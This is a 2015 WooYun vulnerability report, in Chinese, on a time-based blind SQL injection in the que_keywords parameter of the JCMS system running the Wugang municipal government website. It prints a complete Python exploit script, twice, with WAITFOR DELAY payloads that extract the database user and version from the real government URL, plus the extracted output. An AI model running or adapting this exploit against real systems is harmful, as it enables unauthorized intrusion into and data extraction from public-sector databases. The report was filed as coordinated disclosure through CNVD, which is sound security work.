当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0126419

漏洞标题:武冈市人民政府官方网站存在时间盲注附验证脚本

相关厂商:武冈市人民政府

漏洞作者: Mr.R

提交时间:2015-07-13 13:14

修复时间:2015-08-31 16:18

公开时间:2015-08-31 16:18

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-07-13: 细节已通知厂商并且等待厂商处理中
2015-07-17: 厂商已经确认,细节仅向厂商公开
2015-07-27: 细节向核心白帽子及相关领域专家公开
2015-08-06: 细节向普通白帽子公开
2015-08-16: 细节向实习白帽子公开
2015-08-31: 细节向公众公开

简要描述:

RT

详细说明:

政府网站采用jcms大汉版同内容管理系统 /jcms/m_5_1/que_chooseusers.jsp文件
que_keywords参数存在时间盲注

1.jpg


***************************************************************************
j
********************************************************************
jc
******************************************************************************
jcm
************************************************************************************
jcms
数据库版本SqlServer 2008
数据库当前用户jcms


验证脚本 :
自己造的第一个轮子 -/- 写的不好大牛勿喷,用到了python中的requests

#! /usr/bin/env python
# -*- coding: utf-8 -*-
import time,sys,requests
def sql_getlength(url):
for i in range(0,99):
exp_url=url+"/jcms/m_5_1/que_chooseusers.jsp?que_keywords=1'); IF LEN(SYSTEM_USER)= "+str(i)+" WAITFOR DELAY '0:0:5' --"
start_time=time.time()
r=requests.get(exp_url)
sys.stdout.write('*')
sys.stdout.flush()
if r.status_code==200 and time.time()-start_time >= 5 :
print '\n当前数据库用户名长度为'+str(i)
return i
def sql_username(url):
length=sql_getlength(url)+1
username_word=[]
username=''
for i in range(32,127):
username_word.append(i)
for n in range(1,length):
for i in username_word:
exp_url=url+"/jcms/m_5_1/que_chooseusers.jsp?que_keywords=1'); IF ASCII(SUBSTRING(SYSTEM_USER,"+str(n)+",1))= '"+str(i)+"' WAITFOR DELAY '0:0:10' --"
start_time=time.time()
r=requests.get(exp_url)
sys.stdout.write('*')
sys.stdout.flush()
if r.status_code==200 and time.time()-start_time >= 10 :
username = username + chr(i)
print '\n'+username
break
return username
def sql_version(url):
for i in range(0,99):
if i < 10 :
i = '0'+str(i)
exp_url=url+"/jcms/m_5_1/que_chooseusers.jsp?que_keywords=1'); IF SUBSTRING((select @@version),22,4)=20"+str(i)+" WAITFOR DELAY '0:0:5' --"
start_time=time.time()
r=requests.get(exp_url)
sys.stdout.write('*')
sys.stdout.flush()
if r.status_code==200 and time.time()-start_time >= 5 :
print '\nSqlServer 20'+str(i)
return 'SqlServer 20'+str(i)
if __name__ == '__main__':
url='http://www.wugang.gov.cn'
db_version=sql_version(url)
db_username=sql_username(url)
print '数据库版本'+db_version+'\n数据库当前用户'+db_username


漏洞证明:

政府网站采用jcms大汉版同内容管理系统 /jcms/m_5_1/que_chooseusers.jsp文件
que_keywords参数存在时间盲注

1.jpg


***************************************************************************
j
********************************************************************
jc
******************************************************************************
jcm
************************************************************************************
jcms
数据库版本SqlServer 2008
数据库当前用户jcms


验证脚本 :
自己造的第一个轮子 -/- 写的不好大牛勿喷,用到了python中的requests

#! /usr/bin/env python
# -*- coding: utf-8 -*-
import time,sys,requests
def sql_getlength(url):
for i in range(0,99):
exp_url=url+"/jcms/m_5_1/que_chooseusers.jsp?que_keywords=1'); IF LEN(SYSTEM_USER)= "+str(i)+" WAITFOR DELAY '0:0:5' --"
start_time=time.time()
r=requests.get(exp_url)
sys.stdout.write('*')
sys.stdout.flush()
if r.status_code==200 and time.time()-start_time >= 5 :
print '\n当前数据库用户名长度为'+str(i)
return i
def sql_username(url):
length=sql_getlength(url)+1
username_word=[]
username=''
for i in range(32,127):
username_word.append(i)
for n in range(1,length):
for i in username_word:
exp_url=url+"/jcms/m_5_1/que_chooseusers.jsp?que_keywords=1'); IF ASCII(SUBSTRING(SYSTEM_USER,"+str(n)+",1))= '"+str(i)+"' WAITFOR DELAY '0:0:10' --"
start_time=time.time()
r=requests.get(exp_url)
sys.stdout.write('*')
sys.stdout.flush()
if r.status_code==200 and time.time()-start_time >= 10 :
username = username + chr(i)
print '\n'+username
break
return username
def sql_version(url):
for i in range(0,99):
if i < 10 :
i = '0'+str(i)
exp_url=url+"/jcms/m_5_1/que_chooseusers.jsp?que_keywords=1'); IF SUBSTRING((select @@version),22,4)=20"+str(i)+" WAITFOR DELAY '0:0:5' --"
start_time=time.time()
r=requests.get(exp_url)
sys.stdout.write('*')
sys.stdout.flush()
if r.status_code==200 and time.time()-start_time >= 5 :
print '\nSqlServer 20'+str(i)
return 'SqlServer 20'+str(i)
if __name__ == '__main__':
url='http://www.wugang.gov.cn'
db_version=sql_version(url)
db_username=sql_username(url)
print '数据库版本'+db_version+'\n数据库当前用户'+db_username


修复方案:

升级吧。。。。。

版权声明:转载请注明来源 Mr.R@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2015-07-17 16:17

厂商回复:

CNVD确认并复现所述情况,已经转由CNCERT下发给相应分中心,由其后续协调网站管理单位处置。

最新状态:

暂无